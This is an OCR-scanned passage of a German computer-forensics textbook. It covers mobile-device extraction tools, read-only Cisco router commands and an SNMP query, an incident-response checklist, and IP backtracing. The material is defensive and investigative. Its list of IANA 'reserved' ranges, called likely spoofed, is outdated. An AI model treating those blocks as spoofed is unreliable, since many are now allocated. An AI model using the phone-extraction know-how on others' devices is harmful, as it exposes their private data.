File De:iverdSMS (deleted) Deliver SMS {deleted) Evidence 01 AWS, Care. atbws.com##3 | 5/3/2005 3:30:41 PM
Description Deleted SMS Message. e D e = : e
T e TR RAET B Deliver 5M3 (deleted) Evidence 0z WHERE 15 THE WRAPPING | 5/3/2005 3:31:13 PM
Added 5/3/2005 3:31:13 PM
Edited 5/3/2005 3:31:13 PM | 5]
| |Column: B Row: & y
Abb. 7-84

Ein weiterer Vertreter des stark wachsenden Marktes fiir die forensi-  SIM Card
sche Analyse von mobilen Geriten ist die Oxygen Forensic Suite>.

Die auf einer klassischen Mobiltelefon-Managementsoftware basie-

rende forensische Version ermoglicht es u.a., folgende Daten — auch in

Unicode - auszulesen:

Basisinformationen von Mobiltelefonen und SIM-Karten,
Kontaktlisten (Telefonnummern, Fotos, E-Mails, Adressen, Fax-
nummern u.a.),

Anrufergruppen,

Protokolle (Anrufe in Abwesenheit, gewihlte Rufnummern und
angenommene Anrufe),

SMS, MMS und E-Mails (inklusive Servicedaten),
Kalendereintriage, Aufgabenlisten, Textnotizen, Fotos, Videos,
Aufnahmen, Tone,

Java- und andere Dateien, die im Telefon oder auf der Speicher-
karte gespeichert sind.

55. butp:/lwww.oxygensoftware.com/de/products/forensic/
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Abb. 7-85
Oxygen Forensic

ke Oxygen Forensic fiir Nokia Telefone

Oxygen Forensic kann u.a. die Daten von Mobiltelefonen folgender
Hersteller sichern und analysieren:

Nokia,

Apple (iPhone),
Android,

Sony Ericsson,
Samsung,
Motorola,
RIM (Blackberry),
Panasonic,
HTC,

HP,

Asus,

Acer,

Vertu.

Klassische PDAs werden von Oxygen Forensic nicht unterstutzt.

Telefon Telefonbuch Profle Logos Aufgaben Motizen SMS  Einstellungen Hilfe

Default [aubsitsordner]
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[ Flash Karte
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IMEI:
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i 3

B0
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Gerade bei Strafverfolgungsbehorden hat sich in den letzten Jahren das
Mobile-Forensics-Werkzeug .XRY>® etabliert. Auf Wunsch kann die-
ses mit einem sehr umfangreichen Set an Kabeln und Adaptern fiir fast
alle derzeit am Markt erhiltlichen mobilen Systeme erworben werden.
Es konnen sowohl mobile Endgerate als auch einzelne SIM-Karten
ausgelesen werden. Vorhandene wie geloschte SMS, MMS, Videos und
Kontakte sind somit ebenfalls analysierbar wie auch die Liste mit
gewihlten Rufnummern bzw. angenommenen Anrufen.

Q3¢ XRY - [GSM XRY V3.6_Nokia 6101.xry] == Abb. 7-86
Fle Edit View Tools Window Help -8 X XRY ermdglichtdas
1 () General Information umfangreiche Auslesen
oy General information about the device (12 items) von Mobilendgerdten
Model picture: Actual picture X
E sowie SIM-Karten.
CaseData
Set..
: Clear
Genera Yoo
Informaten |, P [~
| Device Name Nokia 6101
Contase | Manufacturer Nokia
Modd Nokia 6101
Revision V 03.3508-06-05RM-76(c) Nokia.
@ Mobile Id (IMET) 357064000369236
Calendar [ o e criberd (MST) 310260590743959
Network Code(fromIMSI) | T-Mobile USA, UnitedStates (310260
Revision ¥ 03.35
Nots | DeviceType RM-76
Manufacturer Code 0524414
=> v | DeviceClodk 02.04.2008 09:07:32 e

Ready |

Apples Produkte im Smartphone- und PDA-Bereich sind beliebter denn
je. Diese Produkte haben auch langst Einzug in die Unternehmensland-
schaft gehalten, weswegen sie auch oft im Fokus von Computer-foren-
sischen Ermittlungen stehen. Viele der vorgestellten Forensik-Werk-
zeuge unterstiitzen auch iPhones. Stellvertretend soll an dieser Stelle der
iPhone Analyzer>” vorgestellt werden. Dieses relativ neue in Java
geschriebene und damit plattformiibergreifend funktionierende Analy-
sewerkzeug kann die via iTunes auf den Rechner geladenen Backup-
Dateien auswerten.

Nach dem Start wihlt man den Pfad zu den Backup-Dateien aus
und liest sie ein.

56. http:/lwww.msab.comlen/mobile-forensic-products/
57. bttp://sourceforge.net/projects/iphoneanalyzer/
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Abb. 7-87 ;
Mit dem iPhone Analyzer Search Help
Open Backup directory o T
lassen sich die Backup- e ReN e _

Export Backup directory Ir
Default iTunes locatipn

History

iPhonel,2: @iiPhone v4.1 - Sun Sep 26 21:14:15 CEST 2010
iPhunel.Z:;iPhone v3.1 - Sat Oct 03 16:45:28 CEST 2009
i

Dateien von iTunes

iPhonel,2: iPhone v3.1 - Sat Oct 03 17:10:05 CEST 2009

iPhone3,1: Phone 4 v4.3.3 - Mon May 30 19:44:39 CEST 2011

iPhone3,1: iPhone4 vonigiiiv4.1 - Mon Sep 27 00:16:59 CEST 2010
—

bequem einlesen und Open file

Exit

s vl‘

auswerten.

Das Werkzeug bietet sehr umfangreiche Moglichkeiten, die verschiede-
nen sqlite-Datenbanken des iPhone auszulesen. Dazu gehoren selbst-
verstiandlich alle gespeicherten Bilder, SMS und E-Mails nebst den ent-
sprechenden  Konfigurationen. Bereits  vorgefertigte  Reports
prasentieren die in allen installierten Apps bzw. der Firmware enthalte-
nen forensisch relevanten Informationen. Hierzu gehoren u.a.

Anruflisten

SMS (vorhandene bzw. bereits geloschte und nicht tiberschriebene)
MMS

Kontakte

E-Mail

Kalender

Notizen (vorhandene bzw. bereits geloschte und nicht tiberschrie-
bene)

Bilder (vorhandene bzw. bereits geloschte und nicht tiberschrie-
bene) inklusive der GPS-Daten, wenn durch die Kamera aufge-
zeichnet

Screenshots

Musikstiicke

Browser-History

Bookmarks

Cookies

Die installierten Apps mit ihren Daten

Daten aus Google Maps (Suchen)

GPS-Tracking

Informationen iiber Voicemails (abhingig von der VisualMail-
Konfiguration)

Videos

Kurzwahleinstellungen

Wifi-Konfigurationen
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In einer nachsten Version werden auch die GPS-Daten ausgelesen. In
einigen Firmware-Versionen des iPhone werden die GPS- bzw. GSM-
Zelldaten filschlicherweise in einer zusitzlichen Backup-Datei gespei-
chert, die sich mit Spezialwerkzeugen auslesen ldsst und somit die
Erstellung eines recht genauen tagesaktuellen Bewegungsprofils
ermoglicht.

Abb. 7-88

In einer intuitiv zu bedie-
nenden Oberfldche lassen
sich alle wesentlichen
Informationen des
iPhones auslesen. Alle
sqlite-Datenbanken sind
durchsuchbar.

Abb. 7-89

Alle auf dem iPhone
gespeicherten Multi-
mediaobjekte lassen sich
analysieren. Bei Fotos
kann man auch die GPS-
Informationen aus den
EXIF-Daten auslesen,
wenn die entsprechende
Funktion nicht deaktiviert
wurde.
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Abb. 7-90
Speichert eine
Anwendung GPs-Daten, 7.4  Forensische Analyse von Routern

so lassen sich diese .. . ..
Router und andere Netzwerkkomponenten konnen bei der Aufkla-

rung von Systemeinbriichen eine wichtige Rolle spielen. Allerdings
kommt es hin und wieder auch vor, dass Router selbst zum Opfer eines
Angriffs werden.

Die meisten Router bestehen grundsatzlich aus zwei Speicherberei-
chen, die fiir eine forensische Ermittlung von Interesse sein konnen. Bei
Cisco-Routern z.B. befinden sich im Flash-Speicher dauerhafte Infor-
mationen wie die Startkonfiguration oder Dateien des Routerbetriebs-
systems [IOS. Im RAM-Bereich lassen sich fliichtige Informationen wie
die aktive Konfiguration oder bestimmte Statusdaten des Routers fin-
den. Diese Statusdaten sind z.B. Eintrage aus der ARP-Tabelle, Rou-
ting-Wege, NAT-Zuordnungen, Statistiken der verwendeten Proto-
kolle und Verletzungen der lokalen Filterregeln.

bequem auswerten.

Bei der Ermittlung Da die wesentlichen Informationen eines Routers nach einem Neu-
zubeachten  start des Geridts unwiederbringlich verloren sind, ist es wichtig, einige
Dinge bei der Ermittlung zu beachten:

Der Zugang zum Router sollte Giber einen Konsolenzugang erfol-
gen. Der Zugang sollte NICHT iiber das Netz erfolgen, da dadurch
vielleicht wesentliche Statusdaten verfilscht werden konnten! Ist
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der Angreifer noch im Netzwerk aktiv, konnte er durch den Netz-
werkzugriff auf den Router gewarnt werden.

Die gesamte Sitzung sollte mit dem verwendeten Terminalpro-
gramm protokolliert werden.

Es sollten wihrend der Ermittlung keine Konfigurationsbefehle
verwendet werden, sondern nur sogenannte Show-Kommandos.
Zusitzlich zu den Befehlen, die die flichtigen Daten des Routers
anzeigen, sollten auch hier wieder die aktuelle Uhrzeit und das
Datum des Routers notiert werden.

Ist auf dem Router Logging aktiviert (prinzipiell immer eine gute Idee),
ist es sinnvoll, die dadurch erzeugten Logdateien sicherzustellen und
auszuwerten. Versendet der Router SNMP-Traps, sollten die Daten des
Netzwerk-Managementsystems, das die Traps empfingt, sichergestellt
werden. Eventuell sind vor dem Einbruch wichtige Informationen pro-
tokolliert worden. Ist der Zugriff auf den Router iiber einen AAA’S-
Server abgesichert, sollten bei der Ermittlung die AAA-Accounting-
Daten und die durch lokale Filterregeln erzeugten Protokolldaten ein-
gesehen werden. Es lassen sich oft Informationen iiber transportierte
Daten- und Paketmengen finden.

Nachdem man sich fur die Datensammlung mit dem seriellen Port
des Routers verbunden und die Sitzungsprotokollierung eingeschaltet
hat, konnen u.a. folgende Befehle eingegeben werden, um die fliichti-

gen Daten eines aktiven Cisco-Routers zu sichern’’:

enable Durch Eingabe des enable-Passworts startet man eine
Administratorsitzung.

show clock detail Zeigt die Router-Systemzeit an. Zusatzlich sollte die Diffe-
renz zur aktuellen (aus vertrauenswirdiger Quelle stam-
menden) Zeit dokumentiert werden.

show version Zeigt die aktive |OS-Version an.

show running config Die gerade im RAM aktive Konfiguration wird angezeigt.

show startup config Die eigentliche Startkonfiguration im Flash wird ange-
zeigt.

show reload Mit diesem Befehl sollte man feststellen, ob der Angreifer
ein automatisches Reboot konfiguriert hat.

show ip route Anzeige der Routing-Tabelle des Routers

show ip arp Anzeige der ARP-Tabelle

show users Wer ist derzeit am Router angemeldet?

58. AAA: Authentication, Authorization und Accounting. Bekannte Vertreter sind
Radius- bzw. Tacacs-Server.
59. Siehe auch Thomas Arkin, BlackHat Briefings, USA, 2002.

Tab. 7-3

Befehle, um fliichtige
Daten eines Router
auszulesen



Lizenziert fur 2109487.
© 2014 dpunkt. Alle Rechte vorbehalten. Keine unerlaubte Weitergabe oder Vervielfaltigung.

310

7 Forensische Analyse im Detail

Analyse

tions verbose

show logging Anzeige des Logpuffers. Ist ein Syslog-Server konfigu-
riert, sollten die Daten dieses Servers ebenfalls gesichert
werden.

show ip interface Anzeige der Konfiguration aller Netzwerk-Interfaces

show tcp brief all Zeigt die Endpunkte der aktiven TCP-Verbindungen an

show ip sockets Zeigt die gedffneten Netzwerk-Sockets an

show up net -transla- | Die aktuelle NAT-Tabelle wird angezeigt.

show ip chache flow Die gerade aktiven Netflows und deren Statistik werden
angezeigt.

show ip ospf summary Zeigt OSPF-Routing-Informationen an.

show ip bgp summary Zeigt BGP-Routing-Informationen an.

show cdp neighbors Uberblick Giber die »Nachbarn« unter Verwendung des

Cisco Discovery Protocol

show ip cef Die Eintrage der Cisco Express Forwarding Table werden
angezeigt.

show snmp user Alle SNMP-User werden angezeigt.

show snmp group Alle SNMP-Gruppen werden angezeigt.

show snmp sessions Alle SNMP-Sessions werden angezeigt.

show

clock detail

Nachdem alle Befehle eingegeben wurden, sollte wieder
die Router-Systemzeit angezeigt und mit der aktuellen
Uhrzeit verglichen werden.

Nachdem die fliichtigen Daten erfasst wurden, sollte man den Router
uber das Netzwerk analysieren. Wenn der Angreifer die Router-Pass-
worter gedndert haben sollte und man dadurch gar keinen Systemzu-
griff bekommen kann, ist dies der einzige Weg, um einigermafSen
brauchbare Informationen iiber den Status des Routers zu erhalten:

Port- und Protokollscan des Routers von einem sicheren Analyse-
system
Ist SNMP aktiv und in Besitz der passenden SNMP-Community,
sollte man unter Zuhilfenahme des zur Netzkomponente passen-

60,

den MIB-Tree die Konfiguration auslesen®":

snmpwalk —v1 router.domain.net COMMUNITY

(Standard-Community ist oft »public«)

60. NetSNMP hitp://net-snmp.sourceforge.net
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Die folgende Zusammenstellung ist ein erster grober Uberblick iiber die
Mafinahmen, die ein Unternehmen ergreifen sollte, wenn es Opfer
eines Systemeinbruchs wurde. Die Auswahl der MafSnahmen entspricht
einem Best-Practice-Ansatz und spiegelt die Erfahrungen und die Sicht
des Autors wider. Da eine Schadenssituation auch immer eine Ausnah-
mesituation mit durchaus besonderer emotionaler Belastung darstellt,
sollte man versuchen, sich im Vorfeld mit den groben Ablaufen vertraut
zu machen. Hierzu gehort im Ubrigen auch, den rechtlichen Rahmen
der durchzufithrenden Tatigkeiten fiir sich und sein Team abzustecken.
Zu bedenken sind neben dem Bundesdatenschutzgesetz das Telekom-
munikationsgesetz und ggf. das Mitbestimmungsgesetz. Dies erleichtert
es, die Ausnahmesituation zuverlidssig zu meistern.

8.1 Logbuch

Erstellen Sie ein Protokoll aller Tatigkeiten, die vor Ort durchgefiihrt
wurden. Anhand dieses Logbuchs kénnen im Nachhinein alle Schritte
nachvollzogen werden:

Meldung Vorfall durch Frihschicht Serverbetrieb
(siehe Zusatzprotokoll Giber Bildschirminhalt)

08.05.2003 08:05 | Sicherung RZ1

08.05.2003 08:10 | Leiter IT, Revision, Datenschutz, Werkschutz verstandigt
08.05.2003 08:15 | Alle Mitglieder des Security-Teams alarmiert

08.05.2003 08:15 | Start der lokalen Inspektion

1 | 08.05.2003 07:45

al b~ 0N

Sammlung fliichtiger Informationen
(siehe Zusatzprotokoll)

7 | 08.05.2003 08:20 | Netzwerkkabel Fileserver gezogen
8 | 08.05.2003 08:20 | Info Uiber Betriebsstérung an UHD

6 | 08.05.2003 08:15

Alle Téitigkeiten

aufzeichnen

Tab. 8-1
Beispiel eines Logbuchs
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08.05.2003 08:35 | Start forensische Duplikation

Die Aufzeichnungen sollten zusitzlich folgende Informationen enthal-

Wer (Person oder Personengruppe) hat den Vorfall erkannt und
gemeldet?

Wann wurde der Vorfall gemeldet und wie lautete die genaue Mel-
dung?

Details der formalen Untersuchung, die zur forensischen Ermitt-
lung gefuhrt haben

Name aller Personen und Organisationen, die die Ermittlung
durchfithren. Wer leitet die Ermittlung?

Eindeutige Bezeichnung des Vorgangs (Aktenzeichen oder Num-
mer)

Grund fir die Ermittlung

Liste aller Computersysteme, Gerite und Applikationen, die durch
die Ermittlung betroffen sind, wenn moglich mit Seriennummern
und internen Bezeichnungen

Eine Liste der laufenden Applikationen und Prozesse der unter-
suchten Systeme

Eine Liste der fur diese Systeme verantwortlichen Administratoren
oder Administrationsteams

Eine detaillierte Liste der Schritte, die unternommen wurden, um
Beweise zu finden, zu analysieren und zu sichern:

Zeitpunkt der Durchfiihrung des Schritts
Beschreibung des Schritts (Kommandozeile) und
Aufzeichnung, welche Person diesen Schritt durchgefiihrt hat.

Eine Ubersicht der Personen, die Zugang zu den gesammelten
Beweisen hatte. Zeitpunkt des Zugangs notieren.

Von diesem Zeitpunkt an dienen die Informationssammlung und die
Beweissicherung dazu, ein Taterprofil zu erstellen:

Was waren oder sind die moglichen Ziele?

Was ist der Grund fiir den Einbruch?

Gab es weitere interne Komplizen?

Welche Tools und Techniken wurden verwendet?

Gingen die Tater umsichtig vor? Wurden viele Spuren hinterlassen
oder waren sie nahezu unsichtbar?

etc.
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8.2 Den Einbruch erkennen

Besteht der Verdacht, dass es sich um einen Angriff handeln konnte,
muss man als Nachstes versuchen, anhand der vorhandenen Protokoll-
daten und sonstigen Informationsquellen den Beweis dafiir zu finden.

Review der IDS-Logs

Suchen Sie nach Events, die vom IDS als High-Risk o.A. gemeldet
wurden.

Identifizieren Sie die auffalligsten internen und externen IP-Adres-
sen.

Suchen Sie nach Gemeinsamkeiten bei Scans, Proben oder anderen
Verbindungen, auch iiber lingere Zeitabschnitte.

Versuchen Sie, die verschiedenen Alarme zu korrelieren.

Vergessen Sie nicht, dass das IDS auch angegriffen worden sein
konnte.

Kontrollieren Sie alle erfolgreichen und fehlgeschlagenen Logins.

Review der Firewall-Logs

1.

Kontrollieren Sie den eingehenden Verkehr:

Notieren Sie alle IP-Adressen, die Thre Internetsysteme scannen.
Notieren Sie alle IP-Adressen, die versuchen, Thre internen Sys-
teme zu scannen.

Notieren Sie alle IP-Adressen, die Ihre Firewall direkt scannen.
Notieren Sie alle IP-Adressen, die Denial-of-Service-Angriffe
durchfiihren.

Kontrollieren Sie den ausgehenden Verkehr:

Vergleichen Sie die IP-Adressen der eingehenden Attacken mit
den IP-Adressen der ausgehenden Verbindungen (sind vielleicht
Innentiter oder Zombies von DDoS!-Tools im Spiel?).
Identifizieren Sie interne IP-Adressen, die iiberdurchschnittlich
viel Datenvolumen nach aufden transportieren. Dies betrifft
auch die eigenen Internetsysteme.

Welche Dateitypen werden dabei Gibertragen?

Welche Dienste wurden verwendet?

Recherchieren Sie, ob die verdichtigen IP-Adressen bereits zu
einem fritheren Zeitpunkt in den Firewall-Logs auftauchen.

Distributed Denial of Service
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Review der System-Logs

Analysieren Sie alle fehlgeschlagenen Anmeldungen:
Identifizieren Sie alle fehlgeschlagenen Anmeldungen, die in
kurzen regelmifSigen Abstinden stattfanden.
Identifizieren Sie die Accounts, deren Dateien vom Angreifer
auf unzureichende Zugriffsrechte analysiert werden. Analysie-
ren Sie alle wesentlichen Anderungen an diesem Account.
Uberpriifen Sie alle wichtigen Systemdateien (Passwortdateien,
Serverkonfigurationen, User- und Gruppendatenbanken) ab
dem vermuteten Startpunkt des Sicherheitsvorfalls.

Review der SU%-Logdatei

Identifizieren Sie alle Accounts, die erfolgreich oder erfolglos SU
auf einen Administratoraccount durchgefiihrt haben.

Uberpriifen Sie alle Useraccounts, die SU verwendet haben.

Wann wurde zum letzten Mal ein SU auf root gemacht?

Review der Telefondaten

Identifizieren Sie Auffilligkeiten und Unstimmigkeiten in den Tele-
fonabrechnungen (ungewohnliche eingehende und ausgehende
Verbindungen).

Identifizieren Sie die anrufenden Anschlisse, die sich zu unge-
wohnlichen Zeiten oder unerwartet oft einwahlen.

Uberpriifen Sie alle Verbindungen, die ungewohnlich lange dauern.
Analysieren Sie alle Modems, Telefonanlagen, PBX3-Schnittstellen
bzw. Remote-Access-Systeme auf Sicherheitsprobleme (z.B. Stan-
dard-Service-Passworter).

8.3 Tatigkeiten nach festgestelltem Einbruch

Wurde aufgrund der gefundenen Anhaltspunkte ein Einbruch festge-
stellt, sollten weitere Schritte geplant und koordiniert durchgefithrt
werden.

Switch User wird oft verwendet, um von einem normalen Useraccount in einen pri-
vilegierten Account zu wechseln.
Private Branch Exchange
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Verfahren Sie nach lhren festgelegten Incident-Response-Abldufen

Informieren Sie das Management.

Alarmieren Sie Thre Security-Spezialisten.

Informieren Sie nicht die gesamte Organisation. Halten Sie die
Gruppe der Mitwissenden so klein wie moglich.

Sichern Sie sofort alle Protokolldateien auf separate Systeme.
Bereiten Sie eine forensische Datensammlung vor (Sammlung der
flichtigen Informationen, Erstellen von forensischen Duplikaten
usw.).

Sichern Sie den Zutritt zu den Rdumen mit den betroffenen Syste-
men ab.

Treffen Sie erste Einschiatzungen, von welchem Ausmaf$ der Sicher-
heitsvorfall sein kann und ob mehr Systeme betroffen sind.

Treffen Sie erste Einschitzungen, welche Useraccounts betroffen
sein konnten.

Analysieren Sie nicht die Originaldaten, sondern vorher erstellte
Sicherheitskopien. Stellen Sie sicher, dass das System nicht veran-
dert wird.

Entscheidung liber die ndachsten Schritte

Verfugt Thre Organisation iiber Know-how und die Werkzeuge, um
eine digital-forensische Ermittlung selbststindig durchzufithren?
Nein: Ziehen Sie externe Spezialisten hinzu (auch Strafverfol-
gungsbehorden).
Ja: weiter im Text.

Haben Sie mit anderen Organisationen, Partnern, Lieferanten,
Kunden etc. vertragliche Vereinbarungen, die eine Veroffentli-
chung des Sicherheitsvorfalls festlegen?
Ja: Entscheiden Sie genau, welche Informationen Sie in welcher
Form publizieren.
Nein: Wigen Sie ab, welche Vor- und Nachteile existieren, den
Vorfall zu publizieren bzw. vertraulich zu behandeln.

Verfugen Sie tiber eine Versicherung, die diese Risiken abdeckt?
Ja: Ist genau dieser Vorfall abgedeckt? Muss die Versicherungs-
gesellschaft frihzeitig eingebunden werden?

Nein: Aufnahme der Fragestellung fiir die Nachbereitung.

Ist dieser Sicherheitsvorfall den Strafverfolgungsbehérden zwin-
gend zu melden (Angriff durch bzw. auf eine 6ffentliche Behorde,
Transfer oder Speicherung verbotenen Materials etc.)?
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Schutz der verdachtigen Systeme

Lokalisieren Sie den Standort aller angegriffenen Systeme:
Sorgen Sie fur eine durchgingige und korrekte Spurensiche-
rung.
Erfassen Sie alle relevanten Fundstiicke in einem Beweiszettel
o.A.
Halten Sie alle durchgefiihrten Titigkeiten in einem Protokoll
fest: Datum, Uhrzeit, Protokollant, Beschreibung der Tatigkei-
ten etc.
Sammeln Sie die fliichtigen Informationen der betroffenen Sys-
teme (inklusive des Hauptspeichers, wenn darin Spuren zu ver-
muten sind).
Erstellen Sie forensische Duplikate der Datentriger der betrof-
fenen Systeme.
Stellen Sie sicher, dass alle an der Spurensicherung beteiligten
Personen ausreichend im Umgang mit digitalen Spuren geschult
sind. Fehler, die bei der Spurensammlung entstehen, konnten
sich bei einer spiteren juristischen Wiirdigung negativ auswir-
ken oder diese gar unmoglich machen.

Protokollieren Sie alle Personen, die wiahrend der Spurensammlung
Zugang zu Raumen und Systemen haben.

Sperren Sie alle fraglichen Raume fiir fremden Zutritt. Nur unmit-
telbar mit der Ermittlung betraute Personen sollten Zutritt haben
(weitere mogliche Uberwachungsmafinahmen der Riume hingen
vom konkreten Fall ab).

Identifizieren Sie, wo die Angreifer liberall waren

Lokalisieren Sie die primaren Eintrittsquellen der Angreifer:
Accounts
Dienste
Anwendungen
Systeme
Netzkomponenten (Modems, Router, Switches, WLAN-Access-
Points etc.)

Analyse der Logdateien von allen betroffenen Systemen, Diensten
und Anwendungen (auch hier gilt: nie die Originaldaten analysie-
ren):
Bei Unix-Systemen mindestens die folgenden Daten:
fehlgeschlagene Logins
SU Log
Shell-History-Dateien der verdachtigen Accounts
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Tripwire-, IDS- und Audit-Daten
samtliche Logdateien, die zum Zeitpunkt des Systemein-
bruchs erzeugt wurden

Bei Windows-Systemen mindestens die folgenden Daten:
Security Eventlog
erfolgreiche und fehlgeschlagene Anmeldungen von Admi-
nistratoren
fehlgeschlagene Anmeldungen aller Accounts
erfolgreiche und fehlgeschlagene Anderungen der Richtli-
nien
erfolgreiche und fehlgeschlagene Anderungen von Account-
Daten (auch Gruppendaten)
System Eventlog
Start und Stopp des Ereignisprotokollierdienstes. Stimmen
Start und Stopp mit Systemstart bzw. -shutdown tiberein?
Application Eventlog
Start und Stopp aller relevanten Anwendungen. Existieren
Uberschneidungen mit dem vermuteten Angriffszeitraum?

Bei Routern die folgenden Informationen:
Zugriffsdaten
Start und Stopp des Syslog-Dienstes
IP-Adressen und Verkehrsdaten, die dem Angreifer zuzu-
ordnen sind

Bei Firewall-Systemen die folgenden Informationen:
fehlgeschlagene und erfolgreiche Anmeldungen auf der
Firewall
Anderungen an den Filterregeln. Wann, was, durch wen?

IP-Adressen und Verkehrsdaten, die dem Angreifer zuzu-
ordnen sind

Suche nach auffilligen Zielports (ungewohnlich oder
besonders hiufig)

Suche nach Source-Routed-Paketen

Suche nach verdachtigem ausgehendem Verkehr (unge-
wohnliche Ports und besonders grofSe Datenmengen bzw.
lange Sitzungen)

Identifizieren Sie IP-Adressen, die nicht existierende Ziele
bzw. Ports erreichen wollen.s
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8.4 Nachste Schritte

Nachdem alle durch den Angriff kompromittierten Systeme analysiert
wurden, sollten folgende Schritte durchgefiihrt werden:

Sperren Sie den Zugriff auf alle betroffenen Accounts nach Mog-
lichkeit bis zum Ende der Ermittlungen.
Wird der Zugang zur Wiederherstellung oder fiir andere wichtige
Tatigkeiten benotigt, sollten starke Zugangspassworter vergeben
und die Accounts beobachtet werden.
Analysieren Sie die Ergebnisse der eventuell wihrend der Spurensi-
cherung zusitzlich installierten Uberwachungssysteme:
Analysieren Sie die neu gewonnenen Spuren und entscheiden
Sie, ob die Ermittlung ausgedehnt werden sollte.
Identifizieren Sie mogliche Tatverdachtige:
Holen Sie juristischen Rat fiir die weiteren Schritte ein.
Ist das angreifende System bzw. die Quell-IP-Adresse lokalisiert
worden, sollten die entsprechenden Logdateien vom Internet
Service Provider (ISP) des angreifenden Systems vom Angriffs-
zeitraum angefordert werden (Zeitzonendifferenz beachten).
Hierfiir ist i.d.R. eine richterliche Anordnung nétig, d.h.,
dass der Kontakt zu den Strafermittlungsbehorden spatestens
zu diesem Zeitpunkt hergestellt werden sollte.

Es sind nun geniigend Informationen fiir eine juristische Verfolgung
gesammelt worden. Entscheiden Sie, ob Sie Strafanzeige stellen und die
Ermittlungsbehorden kontaktieren. Weitere Informationen zum Thema
»Strafantrage stellen« konnen Sie Kapitel 10 entnehmen.
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Das folgende Kapitel gibt einen groben Uberblick dariiber, wie man
mogliche Angreifer anhand gefundener IP-Adressen oder E-Mails
identifizieren kann. Allerdings zeigt die Praxis, dass die Identifikation
der echten IP-Adresse des Angreifers nicht immer gleich bedeutet, dass
man seiner habhaft werden kann. Gerade wenn es sich um Angreifer
aus dem Ausland handelt, kann es immer zu Verzégerungen kommen.
Dies liegt zum einen in der hidufig unterschiedlichen Rechtslage im
Ausland und zum anderen an der teilweise aufwendigen Kommunika-
tion mit auslidndischen Stellen.

9.1 IP-Adressen liberpriifen

IP-Adressen bieten sicherlich einen guten Startpunkt fiir die Recher-
che. Die Offensichtlichkeit als Identifikationsmerkmal tauscht aber oft
dariiber hinweg, dass eine in einem Logfile gefundene IP-Adresse einen
Ermittler auch nicht immer weiterbringen wird. Im Folgenden wird
gezeigt, welche Stolpersteine und Fallstricke beim Backtracing von IP-
Adressen vorhanden sind und wie diese erkannt und zum Teil umgan-
gen werden konnen.

9.1.1 Urspriingliche Quelle

Wenn man die Quell-IP-Adresse anhand von Informationen ermitteln
will, die in einem Logfile gefunden wurden, gilt es, die grundsatzliche
Frage zu kldren: Aus welcher Richtung kommt dieser Angriff oder in
welcher Richtung muss das System gesucht werden, das den Logfile-
Eintrag erzeugt hat? Ganz grob ldsst sich unterscheiden, ob die Quell-
IP-Adresse

Von welcher IP-Adresse
kam der Angriff?
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im Internet,
im lokalen Netz oder
in einem angeschlossenen Extranet

zu finden ist.

Nur weil ein Paket eine Internet-IP-Adresse als Absender hat, muss
das Paket nicht unbedingt auch aus dem Internet kommen! Hier sollte
verifiziert werden, tiber welches Netzwerk-Interface das Paket auf den
Host gelangt ist. Wenn bei einem Firewall-System ein Paket mit einer
Internet-IP-Adresse tiber das interne Interface zum Host gelangt ist
und ein Routing-Fehler ausgeschlossen werden kann, ist das Paket mit
hoher Wahrscheinlichkeit mit gefalschter IP-Adresse unterwegs.

9.1.2 IP-Adressen, die nicht weiterhelfen

Als Nichstes sollten die IP-Adressen identifiziert und herausgefiltert
werden, die per se in einer normalen Netzwerkkommunikation eigent-
lich nicht oder nur in bestimmten Umgebungen als Absender vorkom-
men sollten:

Broadcast 0.0.0.0/8
Loopback 127.0.0.0/8
Multicast 224.0.0.0/4
Begrenzter Broadcast 255.255.255.255/32

Hierzu sagt RFC 1812, dass Router-Pakete mit o.g. Absenderadressen
nicht weiterleiten sollten’.

9.1.3 Private Adressen

Die IANA (The Internet Assigned Numbers Authority) hat spezielle IP-
Adressblocke fiir die private Nutzung reserviert®. Normalerweise soll-
ten diese Adressen im Internet nicht geroutet werden. Leider halten
sich einige Provider aus vielerlei Griinden nicht daran.

10.0.0.0 - 10.255.255.255
172.16.0.0 - 172.31.255.255
192.168.0.0 - 192.168.255.255

1. RFC 1812 - Requirements for IP Version 4 Routers — Abschnitt 5.3.7 Martian
Address Filtering: » A router SHOULD NOT forward any packet that has an inva-
lid IP source address«

2. RFC 1918 - Address Allocation for Private Internets
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Hiufig verwenden Unternehmen in ihrem Intranetbereich diese IP-
Adressen. Aus diesem Grund kann es durchaus ein Anhaltspunkt sein,
ob das Paket aus dem eigenen Netz kam. Wird der betroffene IP-
Adressbereich nicht intern verwendet, dann ist die Quelle des Paketes
sehr schwer zu identifizieren und es kann von gespooften Paketen aus-
gegangen werden. Man sollte aber darauf achten, dass diese privaten
IP-Adressen sehr oft in Transfer- oder Firewall-Netzen verwendet wer-
den und eventuell dort ihren Ursprung haben.

9.1.4 Weitere IANA-Adressen

Es existieren weitere, von der IANA reservierte IP-Adressbereiche, die
einer stindigen Verinderung unterliegen>. Alle Pakete, die eine der fol-
genden Adressen als Absender haben, sind hochstwahrscheinlich
gespooft.

RESERVED-9 1.0.0.0 - 1.255.255.255
RESERVED-2 2.0.0.0 - 2.255.255.255

PDN 14.0.0.0 - 14.255.255.255
RESERVED-23 23.0.0.0 - 23.255.255.255
RESERVED-31 31.0.0.0 - 31.255.255.255
RESERVED-37 37.0.0.0 - 37.255.255.255
RESERVED-39A 39.0.0.0 - 39.255.255.255
RESERVED-41A 41.0.0.0 - 41.255.255.255
RESERVED-58 58.0.0.0 - 58.255.255.255
RESERVED-59 59.0.0.0 - 59.255.255.255
RESERVED-60 60.0.0.0 - 60.255.255.255
RESERVED-7 69.0.0.0 - 79.255.255.255
RESERVED-11 82.0.0.0 - 95.255.255.255
RESERVED-8 96.0.0.0 - 126.255.255.255
RESERVED-3 128.0.0.0 - 128.0.255.255
BLACKHOLE.ISI.EDU 128.9.64.26

TEST-B 128.66.0.0 - 128.66.255.255
LINKLOCAL 169.254.0.0 - 169.254.255.255
RESERVED 191.255.0.0 - 191.255.255.255
RESERVED-192 192.0.0.0 - 192.0.127.255
ROOT-NS-LAB 192.0.0.0 - 192.0.0.255
NET-ROOTS-NS-LIVE 192.0.1.0 - 192.0.1.255
NET-TEST 192.0.2.0 - 192.0.2.255
RESERVED-2A 192.0.128.0 - 192.0.255.255
RESERVED-2-A 192.0.128.0 - 192.0.255.255
IANA-192 192.88.99.0 - 192.88.99.255
RESERVED-13 197.0.0.0 - 197.255.255.255
RESERVED-14 201.0.0.0 - 201.255.255.255
RESERVED 221.0.0.0 - 223.255.255.255

3. Abfrage nach IANA bei arin.net



322

9 Backtracing

Gespoofte Pakete
erkennen

9.1.5 Augenscheinlich falsche Adressen

